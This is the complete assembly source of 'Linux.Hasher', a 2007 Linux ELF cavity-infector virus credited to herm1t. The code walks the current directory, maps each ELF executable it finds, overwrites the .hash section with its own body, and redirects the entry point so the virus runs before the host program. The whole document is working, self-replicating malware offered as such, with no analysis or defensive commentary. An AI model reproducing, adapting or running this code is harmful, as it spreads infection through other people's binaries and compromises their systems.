Linux.Hasher.a
herm1t
<![CDATA[
; Linux.Hasher (x) 2007, herm1t <herm1t@vx.netlux.org>
; Features:
; - cavity infector, replaces .hash section, file size will not be increased
; - no delta, address of the virus saved in the body upon infection
%macro movb 2
%if %2 == 0
xor %1, %1
%else
push byte %2
pop %1
%endif
%endmacro
BITS 32
CPU 486
global _start
_start: push strict dword fake_host
pusha
enter 268,0 ; sizeof(dirent)
push '.'
mov ebx, esp
movb eax, 5
movb ecx, 0
int 0x80
or eax, eax
js .vr
xchg eax, ebx
.rd: mov ecx, esp
movb eax, 89
int 0x80
dec eax
jz infect
.vc: movb eax, 6
int 0x80
.vr: leave
popa
ret
infect: pusha
mov al, 5
lea ebx, [esp + 32 + 10] ; d_name
movb ecx, 2
int 0x80
or eax, eax
js .ir
xchg eax, ebx
movb eax, 19
mov edx, ecx
sub ecx, ecx
int 0x80
xchg eax, edx
pusha
mov ecx, edx
mov edi, ebx
mov al, 192
xor ebx, ebx
movb edx, 3
movb esi, 1
xor ebp, ebp
int 0x80
mov [esp + 28], eax
bswap eax
inc ax ; > 0xffff0000
popa
jz .ic
xchg eax, esi
mov eax, dword [esi] ; ? 0x464c457f
xor eax, dword [esi + 16] ; ? 0x00030002
add eax, 0xb9b0ba83
jnz .iu
mov edi, [esi + 32] ; e_shoff
add edi, esi
movzx ecx, word [esi + 48] ; e_shnum
.hl: cmp dword [edi + 4], 5 ; sh_type == SHT_HASH
je .fh
add edi, 40
loop .hl
.iu: push ebx
mov al, 91
mov ebx, esi
mov ecx, edx
int 0x80
pop ebx
.ic: movb eax, 6
int 0x80
.ir: popa
jmp _start.rd
.fh: mov cl, _size ; even bash has 30 sections
cmp ecx, [edi + 20] ; sh_size
ja .iu
mov ebp, [edi + 16]
add ebp, esi
mov eax, [ebp] ; already infected?
dec eax
jz .iu
pusha
cld
mov edi, ebp
movb eax, 1
stosd ; nbuckets
dec eax
stosd ; nchains
stosd ; buckets[0]
mov esi, strict dword _start
_self equ $-_start-4
rep movsb
popa
mov eax, [esi + 24] ; e_entry
mov [ebp + 13], eax ; save old entry
mov eax, [edi + 12] ; sh_addr
lea eax, [eax + 12]
mov [ebp + 12 + _self], eax
mov [esi + 24], eax ; e_entry
jmp .iu
_size equ $-_start
fake_host: mov eax,1
int 0x80
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